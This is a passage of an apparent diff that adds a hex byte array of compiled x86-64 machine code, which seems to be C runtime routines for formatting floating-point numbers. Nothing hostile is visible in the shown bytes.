+ 0xd0, 0x8d, 0x42, 0x30, 0x41, 0x88, 0x01, 0x48, 0x69, 0xc2, 0x18, 0xfc, + 0xff, 0xff, 0x48, 0x03, 0xc8, 0x4d, 0x3b, 0xc1, 0x75, 0x06, 0x48, 0x83, + 0xf9, 0x64, 0x7c, 0x2e, 0x48, 0xb8, 0x0b, 0xd7, 0xa3, 0x70, 0x3d, 0x0a, + 0xd7, 0xa3, 0x48, 0xf7, 0xe9, 0x48, 0x03, 0xd1, 0x48, 0xc1, 0xfa, 0x06, + 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, 0x3f, 0x48, 0x03, 0xd0, 0x8d, 0x42, + 0x30, 0x41, 0x88, 0x00, 0x49, 0xff, 0xc0, 0x48, 0x6b, 0xc2, 0x9c, 0x48, + 0x03, 0xc8, 0x4d, 0x3b, 0xc1, 0x75, 0x06, 0x48, 0x83, 0xf9, 0x0a, 0x7c, + 0x2b, 0x48, 0xb8, 0x67, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, + 0xf7, 0xe9, 0x48, 0xc1, 0xfa, 0x02, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, + 0x3f, 0x48, 0x03, 0xd0, 0x8d, 0x42, 0x30, 0x41, 0x88, 0x00, 0x49, 0xff, + 0xc0, 0x48, 0x6b, 0xc2, 0xf6, 0x48, 0x03, 0xc8, 0x80, 0xc1, 0x30, 0x41, + 0x88, 0x08, 0x45, 0x88, 0x70, 0x01, 0x41, 0x8b, 0xfe, 0x44, 0x38, 0x74, + 0x24, 0x68, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x83, 0xa1, 0xa8, + 0x03, 0x00, 0x00, 0xfd, 0x4c, 0x8d, 0x5c, 0x24, 0x70, 0x8b, 0xc7, 0x49, + 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, + 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, + 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, 0x89, 0x6b, 0x10, 0x49, + 0x89, 0x73, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x8b, 0xac, 0x24, 0x88, + 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf0, 0x48, 0x8b, 0x84, 0x24, 0x80, 0x00, + 0x00, 0x00, 0x4d, 0x8d, 0x43, 0xe8, 0x48, 0x8b, 0x09, 0x48, 0x8b, 0xfa, + 0x44, 0x8d, 0x55, 0x02, 0x49, 0xff, 0xc2, 0x8d, 0x55, 0x01, 0x4c, 0x3b, + 0xd0, 0x49, 0x0f, 0x42, 0xc2, 0x49, 0x89, 0x43, 0xc8, 0xe8, 0x16, 0x44, + 0x00, 0x00, 0x45, 0x33, 0xc0, 0x44, 0x8b, 0xc8, 0x83, 0x7c, 0x24, 0x40, + 0x2d, 0x48, 0x8b, 0xd6, 0x8b, 0x84, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x41, + 0x0f, 0x94, 0xc0, 0x89, 0x44, 0x24, 0x28, 0x33, 0xc9, 0x44, 0x89, 0x4c, + 0x24, 0x20, 0x85, 0xed, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x0f, 0x9f, 0xc1, + 0x48, 0x2b, 0xd1, 0x49, 0x2b, 0xd0, 0x48, 0x83, 0xfe, 0xff, 0x48, 0x0f, + 0x44, 0xd6, 0x49, 0x03, 0xc8, 0x48, 0x03, 0xcf, 0x44, 0x8d, 0x45, 0x01, + 0xe8, 0x37, 0x3e, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x05, 0xc6, 0x07, 0x00, + 0xeb, 0x3d, 0x48, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x44, 0x8b, + 0xc5, 0x44, 0x8a, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd6, + 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0xcf, 0x48, 0x8d, 0x44, 0x24, + 0x40, 0xc6, 0x44, 0x24, 0x30, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x8b, + 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x15, + 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, + 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x57, 0x48, 0x83, 0xec, + 0x50, 0x33, 0xc0, 0x49, 0x63, 0xd8, 0x45, 0x85, 0xc0, 0x45, 0x8a, 0xf9, + 0x48, 0x8b, 0xea, 0x48, 0x8b, 0xf9, 0x0f, 0x4f, 0xc3, 0x83, 0xc0, 0x09, + 0x48, 0x98, 0x48, 0x3b, 0xd0, 0x77, 0x2e, 0xe8, 0xb4, 0xf3, 0xff, 0xff, + 0xbb, 0x22, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0x88, 0xf2, 0xff, 0xff, + 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, + 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x8b, 0x7c, 0x24, 0x78, 0x48, 0x83, + 0xc4, 0x50, 0x41, 0x5f, 0xc3, 0x48, 0x8b, 0x94, 0x24, 0x98, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, 0x05, 0xc5, 0xff, 0xff, 0x80, + 0xbc, 0x24, 0x90, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x88, + 0x00, 0x00, 0x00, 0x74, 0x29, 0x33, 0xd2, 0x83, 0x3e, 0x2d, 0x0f, 0x94, + 0xc2, 0x48, 0x03, 0xd7, 0x85, 0xdb, 0x7e, 0x1a, 0x49, 0x83, 0xc8, 0xff, + 0x49, 0xff, 0xc0, 0x42, 0x80, 0x3c, 0x02, 0x00, 0x75, 0xf6, 0x49, 0xff, + 0xc0, 0x48, 0x8d, 0x4a, 0x01, 0xe8, 0xa2, 0xb4, 0xff, 0xff, 0x83, 0x3e, + 0x2d, 0x48, 0x8b, 0xd7, 0x75, 0x07, 0xc6, 0x07, 0x2d, 0x48, 0x8d, 0x57, + 0x01, 0x85, 0xdb, 0x7e, 0x1b, 0x8a, 0x42, 0x01, 0x88, 0x02, 0x48, 0xff, + 0xc2, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x88, 0xf8, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x01, 0x8a, 0x08, 0x88, 0x0a, 0x0f, 0xb6, 0x8c, 0x24, + 0x90, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x81, 0xc0, 0x00, 0x00, 0x48, + 0x03, 0xda, 0x48, 0x83, 0xf1, 0x01, 0x48, 0x03, 0xd9, 0x48, 0x2b, 0xfb, + 0x48, 0x8b, 0xcb, 0x48, 0x83, 0xfd, 0xff, 0x48, 0x8d, 0x14, 0x2f, 0x48, + 0x0f, 0x44, 0xd5, 0xe8, 0xc4, 0xe7, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x85, + 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4b, 0x02, 0x45, 0x84, 0xff, 0x74, + 0x03, 0xc6, 0x03, 0x45, 0x48, 0x8b, 0x46, 0x08, 0x80, 0x38, 0x30, 0x74, + 0x57, 0x44, 0x8b, 0x46, 0x04, 0x41, 0x83, 0xe8, 0x01, 0x79, 0x07, 0x41, + 0xf7, 0xd8, 0xc6, 0x43, 0x01, 0x2d, 0x41, 0x83, 0xf8, 0x64, 0x7c, 0x1b, + 0xb8, 0x1f, 0x85, 0xeb, 0x51, 0x41, 0xf7, 0xe8, 0xc1, 0xfa, 0x05, 0x8b, + 0xc2, 0xc1, 0xe8, 0x1f, 0x03, 0xd0, 0x00, 0x53, 0x02, 0x6b, 0xc2, 0x9c, + 0x44, 0x03, 0xc0, 0x41, 0x83, 0xf8, 0x0a, 0x7c, 0x1b, 0xb8, 0x67, 0x66, + 0x66, 0x66, 0x41, 0xf7, 0xe8, 0xc1, 0xfa, 0x02, 0x8b, 0xc2, 0xc1, 0xe8, + 0x1f, 0x03, 0xd0, 0x00, 0x53, 0x03, 0x6b, 0xc2, 0xf6, 0x44, 0x03, 0xc0, + 0x44, 0x00, 0x43, 0x04, 0x83, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x02, + 0x75, 0x14, 0x80, 0x39, 0x30, 0x75, 0x0f, 0x48, 0x8d, 0x51, 0x01, 0x41, + 0xb8, 0x03, 0x00, 0x00, 0x00, 0xe8, 0xb2, 0xb3, 0xff, 0xff, 0x80, 0x7c, + 0x24, 0x48, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0xa0, + 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x33, 0xc0, 0xe9, 0x8e, 0xfe, 0xff, 0xff, + 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, + 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x1f, 0xf1, 0xff, 0xff, 0xcc, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, + 0x40, 0x48, 0x8b, 0x54, 0x24, 0x78, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x48, + 0xd8, 0x4d, 0x8b, 0xf1, 0x41, 0x8b, 0xf0, 0xe8, 0x78, 0xc3, 0xff, 0xff, + 0x80, 0x7c, 0x24, 0x70, 0x00, 0x49, 0x63, 0x4e, 0x04, 0x74, 0x1a, 0x8d, + 0x41, 0xff, 0x3b, 0xc6, 0x75, 0x13, 0x33, 0xc0, 0x41, 0x83, 0x3e, 0x2d, + 0x0f, 0x94, 0xc0, 0x48, 0x03, 0xc3, 0x66, 0xc7, 0x44, 0x01, 0xff, 0x30, + 0x00, 0x41, 0x83, 0x3e, 0x2d, 0x75, 0x06, 0xc6, 0x03, 0x2d, 0x48, 0xff, + 0xc3, 0x49, 0x63, 0x46, 0x04, 0x48, 0x83, 0xcf, 0xff, 0x85, 0xc0, 0x7f, + 0x49, 0x75, 0x0d, 0x49, 0x8b, 0x46, 0x08, 0x80, 0x38, 0x30, 0x75, 0x04, + 0xb0, 0x01, 0xeb, 0x02, 0x32, 0xc0, 0x80, 0x7c, 0x24, 0x70, 0x00, 0x74, + 0x0a, 0x84, 0xc0, 0x74, 0x06, 0x48, 0x8d, 0x6b, 0x01, 0xeb, 0x1f, 0x48, + 0x8d, 0x6b, 0x01, 0x4c, 0x8b, 0xc7, 0x49, 0xff, 0xc0, 0x42, 0x80, 0x3c, + 0x03, 0x00, 0x75, 0xf6, 0x49, 0xff, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0x8b, + 0xcd, 0xe8, 0xd2, 0xb2, 0xff, 0xff, 0xc6, 0x03, 0x30, 0x48, 0x8b, 0xdd, + 0xeb, 0x03, 0x48, 0x03, 0xd8, 0x85, 0xf6, 0x7e, 0x78, 0x48, 0x8d, 0x6b, + 0x01, 0x4c, 0x8b, 0xc7, 0x49, 0xff, 0xc0, 0x42, 0x80, 0x3c, 0x03, 0x00, + 0x75, 0xf6, 0x49, 0xff, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcd, 0xe8, + 0xa4, 0xb2, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x88, + 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x01, 0x8a, 0x08, 0x88, 0x0b, 0x41, + 0x8b, 0x46, 0x04, 0x85, 0xc0, 0x79, 0x3e, 0xf7, 0xd8, 0x80, 0x7c, 0x24, + 0x70, 0x00, 0x75, 0x04, 0x3b, 0xc6, 0x7d, 0x02, 0x8b, 0xf0, 0x85, 0xf6, + 0x74, 0x1b, 0x48, 0xff, 0xc7, 0x80, 0x3c, 0x2f, 0x00, 0x75, 0xf7, 0x48, + 0x63, 0xce, 0x4c, 0x8d, 0x47, 0x01, 0x48, 0x03, 0xcd, 0x48, 0x8b, 0xd5, + 0xe8, 0x5b, 0xb2, 0xff, 0xff, 0x4c, 0x63, 0xc6, 0xba, 0x30, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0xcd, 0xe8, 0xeb, 0xad, 0xff, 0xff, 0x80, 0x7c, 0x24, + 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x83, 0xa0, 0xa8, + 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x33, 0xc0, 0x48, + 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x8b, 0x7c, + 0x24, 0x68, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, + 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, 0x89, 0x6b, 0x10, 0x49, + 0x89, 0x7b, 0x18, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0x84, + 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0x09, 0x4d, + 0x8d, 0x43, 0xe8, 0x48, 0x8b, 0xfa, 0x49, 0x89, 0x43, 0xc8, 0x8b, 0x94, + 0x24, 0x88, 0x00, 0x00, 0x00, 0x0f, 0x57, 0xc0, 0x0f, 0x11, 0x44, 0x24, + 0x40, 0xe8, 0xf2, 0x3f, 0x00, 0x00, 0x44, 0x8b, 0x74, 0x24, 0x44, 0x45, + 0x33, 0xc0, 0x83, 0x7c, 0x24, 0x40, 0x2d, 0x44, 0x8b, 0xc8, 0x8b, 0x84, + 0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd5, 0x41, 0x0f, 0x94, 0xc0, + 0x89, 0x44, 0x24, 0x28, 0x49, 0x2b, 0xd0, 0x44, 0x89, 0x4c, 0x24, 0x20, + 0x41, 0xff, 0xce, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x48, 0x83, 0xfd, 0xff, + 0x49, 0x8d, 0x1c, 0x38, 0x44, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, + 0x48, 0x0f, 0x44, 0xd5, 0x48, 0x8b, 0xcb, 0xe8, 0x10, 0x3a, 0x00, 0x00, + 0x85, 0xc0, 0x74, 0x08, 0xc6, 0x07, 0x00, 0xe9, 0x93, 0x00, 0x00, 0x00, + 0x8b, 0x44, 0x24, 0x44, 0xff, 0xc8, 0x83, 0xf8, 0xfc, 0x7c, 0x46, 0x3b, + 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x7d, 0x3d, 0x44, 0x3b, 0xf0, 0x7d, + 0x0c, 0x8a, 0x03, 0x48, 0xff, 0xc3, 0x84, 0xc0, 0x75, 0xf7, 0x88, 0x43, + 0xfe, 0x48, 0x8b, 0x84, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, + 0x24, 0x40, 0x44, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0xd5, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0xcf, 0xc6, 0x44, 0x24, + 0x20, 0x01, 0xe8, 0xad, 0xfd, 0xff, 0xff, 0xeb, 0x42, 0x48, 0x8b, 0x84, + 0x24, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd5, 0x44, 0x8a, 0x8c, 0x24, + 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x44, 0x8b, 0x84, 0x24, 0x88, + 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8d, 0x44, 0x24, + 0x40, 0xc6, 0x44, 0x24, 0x30, 0x01, 0x48, 0x89, 0x44, 0x24, 0x28, 0x8b, + 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x95, + 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, + 0x68, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x41, 0x5e, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x19, + 0x49, 0xbc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x48, 0x23, + 0xda, 0x45, 0x0f, 0xbf, 0xf0, 0x49, 0x23, 0xdc, 0x48, 0x8b, 0xf9, 0x41, + 0x8b, 0xce, 0x45, 0x33, 0xff, 0x48, 0xd3, 0xeb, 0x48, 0x8b, 0xea, 0x45, + 0x85, 0xc9, 0x75, 0x0c, 0x66, 0x83, 0xfb, 0x08, 0x0f, 0x93, 0xc0, 0xe9, + 0xa3, 0x00, 0x00, 0x00, 0xe8, 0x5f, 0x51, 0x00, 0x00, 0x85, 0xc0, 0x75, + 0x72, 0x4c, 0x8b, 0x07, 0x41, 0x8b, 0xce, 0x49, 0x8b, 0xc0, 0x48, 0x23, + 0xc5, 0x49, 0x23, 0xc4, 0x48, 0xd3, 0xe8, 0x66, 0x83, 0xf8, 0x08, 0x76, + 0x07, 0xba, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x4f, 0x73, 0x05, 0x41, 0x8a, + 0xd7, 0xeb, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x8b, 0xc2, 0x48, 0xd3, + 0xe0, 0x48, 0x2b, 0xc2, 0x49, 0x23, 0xc0, 0x49, 0x85, 0xc4, 0x75, 0x33, + 0x41, 0x83, 0xfe, 0x30, 0x74, 0x19, 0x49, 0xc1, 0xe8, 0x04, 0x48, 0xb8, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x23, 0xc5, 0x4c, + 0x23, 0xc0, 0x49, 0xd3, 0xe8, 0xeb, 0x11, 0x48, 0xb8, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xf0, 0x7f, 0x4c, 0x85, 0xc0, 0x41, 0x0f, 0x95, 0xc0, + 0x41, 0x22, 0xd0, 0x8a, 0xc2, 0xeb, 0x28, 0x3d, 0x00, 0x02, 0x00, 0x00, + 0x75, 0x0c, 0x66, 0x85, 0xdb, 0x74, 0xa3, 0x4c, 0x39, 0x3f, 0x7c, 0x9e, + 0xeb, 0x93, 0x3d, 0x00, 0x01, 0x00, 0x00, 0x75, 0x0c, 0x66, 0x85, 0xdb, + 0x74, 0x90, 0x4c, 0x39, 0x3f, 0x7d, 0x8b, 0xeb, 0x80, 0x32, 0xc0, 0x48, + 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, + 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x20, 0x41, + 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x60, 0x4d, 0x8b, 0xd1, + 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xda, 0x4c, 0x8b, 0xf1, 0x48, 0x85, 0xd2, + 0x75, 0x18, 0xe8, 0x25, 0xee, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, + 0x89, 0x18, 0xe8, 0xf9, 0xec, 0xff, 0xff, 0x8b, 0xc3, 0xe9, 0xc4, 0x02, + 0x00, 0x00, 0x48, 0x85, 0xff, 0x74, 0xe3, 0x4d, 0x85, 0xd2, 0x74, 0xde, + 0x4c, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4d, 0x85, 0xc9, 0x74, + 0xd1, 0x8b, 0x8c, 0x24, 0x98, 0x00, 0x00, 0x00, 0x83, 0xf9, 0x41, 0x74, + 0x0d, 0x8d, 0x41, 0xbb, 0x83, 0xf8, 0x02, 0x76, 0x05, 0x45, 0x32, 0xdb, + 0xeb, 0x03, 0x41, 0xb3, 0x01, 0x4c, 0x8b, 0x84, 0x24, 0xa8, 0x00, 0x00, + 0x00, 0x41, 0xf6, 0xc0, 0x08, 0x0f, 0x85, 0xe3, 0x00, 0x00, 0x00, 0x49, + 0x8b, 0x16, 0xbe, 0xff, 0x07, 0x00, 0x00, 0x48, 0x8b, 0xc2, 0x48, 0xc1, + 0xe8, 0x34, 0x48, 0x23, 0xc6, 0x48, 0x3b, 0xc6, 0x0f, 0x85, 0xc8, 0x00, + 0x00, 0x00, 0x48, 0xb9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, + 0x48, 0x8b, 0xc2, 0x41, 0xb8, 0x0c, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc1, + 0x75, 0x04, 0x33, 0xc9, 0xeb, 0x2d, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x48, 0x85, 0xd2, 0x79, 0x0a, 0x48, 0x3b, 0xc1, + 0x75, 0x05, 0x49, 0x8b, 0xc8, 0xeb, 0x14, 0x48, 0x8b, 0xc2, 0x48, 0x23, + 0xc1, 0x48, 0xf7, 0xd8, 0x48, 0x1b, 0xc9, 0x48, 0x83, 0xe1, 0xfc, 0x48, + 0x83, 0xc1, 0x08, 0x48, 0xc1, 0xea, 0x3f, 0x48, 0x8d, 0x42, 0x04, 0x48, + 0x3b, 0xf8, 0x73, 0x05, 0xc6, 0x03, 0x00, 0xeb, 0x65, 0x49, 0x83, 0xca, + 0xff, 0x84, 0xd2, 0x74, 0x11, 0xc6, 0x03, 0x2d, 0x48, 0xff, 0xc3, 0xc6, + 0x03, 0x00, 0x49, 0x3b, 0xfa, 0x74, 0x03, 0x48, 0xff, 0xcf, 0x41, 0x0f, + 0xb6, 0xd3, 0x4c, 0x8d, 0x0d, 0xe7, 0xb9, 0x00, 0x00, 0x83, 0xf2, 0x01, + 0x03, 0xd2, 0x8b, 0xc2, 0x48, 0x03, 0xc1, 0x4d, 0x8b, 0x04, 0xc1, 0x49, + 0xff, 0xc2, 0x43, 0x80, 0x3c, 0x10, 0x00, 0x75, 0xf6, 0x33, 0xc0, 0x49, + 0x3b, 0xfa, 0x0f, 0x96, 0xc0, 0x44, 0x8d, 0x04, 0x02, 0x48, 0x8b, 0xd7, + 0x4c, 0x03, 0xc1, 0x48, 0x8b, 0xcb, 0x4f, 0x8b, 0x04, 0xc1, 0xe8, 0xe1, + 0xe1, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x85, 0xc2, 0x01, 0x00, 0x00, 0x45, + 0x33, 0xc0, 0x41, 0x8b, 0xc0, 0xe9, 0x9c, 0x01, 0x00, 0x00, 0x49, 0x8b, + 0xd0, 0x41, 0x80, 0xe0, 0x20, 0x48, 0xc1, 0xea, 0x04, 0x83, 0xe2, 0x01, + 0x83, 0xca, 0x02, 0x41, 0xf6, 0xd8, 0x1b, 0xf6, 0x23, 0xb4, 0x24, 0xb8, + 0x00, 0x00, 0x00, 0x83, 0xe9, 0x41, 0x0f, 0x84, 0x3b, 0x01, 0x00, 0x00, + 0x83, 0xe9, 0x04, 0x0f, 0x84, 0xf5, 0x00, 0x00, 0x00, 0x83, 0xe9, 0x01, + 0x74, 0x5c, 0x83, 0xe9, 0x01, 0x74, 0x17, 0x83, 0xe9, 0x1a, 0x0f, 0x84, + 0x1f, 0x01, 0x00, 0x00, 0x83, 0xe9, 0x04, 0x0f, 0x84, 0xd9, 0x00, 0x00, + 0x00, 0x83, 0xf9, 0x01, 0x74, 0x40, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, + 0x00, 0x00, 0x4c, 0x8b, 0xc7, 0x48, 0x89, 0x44, 0x24, 0x48, 0x49, 0x8b, + 0xce, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x40, + 0x89, 0x54, 0x24, 0x38, 0x48, 0x8b, 0xd3, 0x44, 0x88, 0x5c, 0x24, 0x30, + 0x89, 0x44, 0x24, 0x28, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x4d, 0x8b, 0xca, + 0xe8, 0xab, 0xfb, 0xff, 0xff, 0xe9, 0x0c, 0x01, 0x00, 0x00, 0x8b, 0xac, + 0x24, 0xa0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x49, 0x8b, + 0x0e, 0x0f, 0x57, 0xc0, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x8b, 0xd5, 0x4d, + 0x8b, 0xca, 0x0f, 0x11, 0x44, 0x24, 0x50, 0xe8, 0xb4, 0x3b, 0x00, 0x00, + 0x44, 0x8b, 0x44, 0x24, 0x54, 0x45, 0x33, 0xc9, 0x83, 0x7c, 0x24, 0x50, + 0x2d, 0x48, 0x8b, 0xd7, 0x89, 0x74, 0x24, 0x28, 0x41, 0x0f, 0x94, 0xc1, + 0x89, 0x44, 0x24, 0x20, 0x49, 0x2b, 0xd1, 0x44, 0x03, 0xc5, 0x49, 0x83, + 0xca, 0xff, 0x49, 0x3b, 0xfa, 0x49, 0x8d, 0x0c, 0x19, 0x48, 0x0f, 0x44, + 0xd7, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0xe8, 0xe5, 0x35, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x08, 0xc6, 0x03, 0x00, 0xe9, 0x9f, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50, + 0x48, 0x89, 0x44, 0x24, 0x28, 0x44, 0x8b, 0xc5, 0x48, 0x8b, 0xd7, 0xc6, + 0x44, 0x24, 0x20, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xf9, 0xff, 0xff, + 0xeb, 0x78, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x8b, + 0xc7, 0x89, 0x74, 0x24, 0x48, 0x49, 0x8b, 0xce, 0x48, 0x89, 0x44, 0x24, + 0x40, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x89, 0x54, 0x24, 0x38, + 0x48, 0x8b, 0xd3, 0x44, 0x88, 0x5c, 0x24, 0x30, 0x89, 0x44, 0x24, 0x28, + 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x4d, 0x8b, 0xca, 0xe8, 0xab, 0xf6, 0xff, + 0xff, 0xeb, 0x3b, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x4c, + 0x8b, 0xc7, 0x89, 0x74, 0x24, 0x48, 0x49, 0x8b, 0xce, 0x48, 0x89, 0x44, + 0x24, 0x40, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x89, 0x54, 0x24, + 0x38, 0x48, 0x8b, 0xd3, 0x44, 0x88, 0x5c, 0x24, 0x30, 0x89, 0x44, 0x24, + 0x28, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x4d, 0x8b, 0xca, 0xe8, 0xee, 0xf2, + 0xff, 0xff, 0x4c, 0x8d, 0x5c, 0x24, 0x60, 0x49, 0x8b, 0x5b, 0x10, 0x49, + 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0x7b, 0x28, 0x49, + 0x8b, 0xe3, 0x41, 0x5e, 0xc3, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, + 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x1e, 0xea, + 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x75, + 0x15, 0xe8, 0x0e, 0xeb, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, + 0xe8, 0xe3, 0xe9, 0xff, 0xff, 0x83, 0xc8, 0xff, 0xeb, 0x03, 0x8b, 0x41, + 0x18, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 